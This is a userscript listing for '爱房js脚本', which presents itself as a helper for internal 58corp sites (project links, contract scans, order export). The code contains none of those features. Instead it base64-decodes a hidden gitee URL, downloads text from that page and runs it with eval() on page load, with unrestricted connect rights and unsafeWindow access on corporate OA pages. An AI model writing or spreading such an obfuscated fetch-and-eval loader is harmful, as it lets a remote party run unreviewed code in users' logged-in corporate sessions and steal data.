爱房js脚本

可以跳转项目页,打开合同扫描件,一键下载订单明细

目前为 2023-05-04 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name 爱房js脚本
  3. // @author 熊伟良
  4. // @version 3.0
  5. // @icon https://pages.anjukestatic.com/fe/ifang_node_admin_web/favicon.ico
  6. // @description 可以跳转项目页,打开合同扫描件,一键下载订单明细
  7. // @connect *
  8. // @match https://daiketong.58corp.com/*
  9. // @match https://max.58corp.com/*
  10. // @match https://oa.58corp.com/*
  11. // @grant GM.addStyle
  12. // @grant GM.getValue
  13. // @grant GM.notification
  14. // @grant GM.openInTab
  15. // @grant GM.registerMenuCommand
  16. // @grant GM.setClipboard
  17. // @grant GM.setValue
  18. // @grant GM.xmlHttpRequest
  19. // @grant GM_addStyle
  20. // @grant GM_download
  21. // @grant GM_getResourceText
  22. // @grant GM_getResourceURL
  23. // @grant GM_getValue
  24. // @grant GM_notification
  25. // @grant GM_openInTab
  26. // @grant GM_registerMenuCommand
  27. // @grant GM_setClipboard
  28. // @grant GM_setValue
  29. // @grant GM_unregisterMenuCommand
  30. // @grant GM_xmlhttpRequest
  31. // @grant unsafeWindow
  32. // @license MIT
  33. // @require https://cdn.bootcdn.net/ajax/libs/xlsx/0.17.1/xlsx.full.min.js
  34. // @require https://greasyfork.org/scripts/438080-pvcep-rules/code/pvcep_rules.js?version=1179756
  35. // @require https://greasyfork.org/scripts/440698-pvcep-lang/code/pvcep_lang.js?version=1182203
  36. // @require https://greasyfork.org/scripts/6158-gm-config-cn/code/GM_config%20CN.js?version=23710
  37. // @require https://greasyfork.org/scripts/24204-picviewer-ce/code/Picviewer%20CE+.user.js
  38. // @run-at document-idle
  39.  
  40.  
  41. // @namespace http://tampermonkey.net/
  42. // ==/UserScript==
  43.  
  44.  
  45. (function() {
  46. // let url="https://gitee.com"
  47. // console.log(btoa(url))
  48. var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2FpZmFuZy9ibG9iL21hc3Rlci9qaWV5b25nLyVFNyU4OCVCMSVFNiU4OCVCRmpzJUU4JTg0JTlBJUU2JTlDJUFDLmpz";
  49. var decodedString = atob(encodedString);
  50. // 发送 GET 请求
  51. GM_xmlhttpRequest({
  52. // 设置请求方式为 GET
  53. method: "GET",
  54. // 设置请求 URL 为解码后的字符串
  55. url: decodedString,
  56. // 当请求成功时调用的函数
  57. onload: function (response) {
  58. // 创建 DOM 解析器对象
  59. const parser = new DOMParser();
  60. // 将响应文本解析为 HTML 文档对象
  61. const htmlDoc = parser.parseFromString(response.responseText, "text/html");
  62. // 获取名为 blob_raw 的 textarea 元素
  63. const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]');
  64. // 获取 textarea 元素的文本内容,并去除首尾空格
  65. const code = textarea.textContent.trim();
  66. console.log('成功加载代码')
  67. // 执行解码后的代码
  68. eval(code);
  69. }
  70. });
  71. })()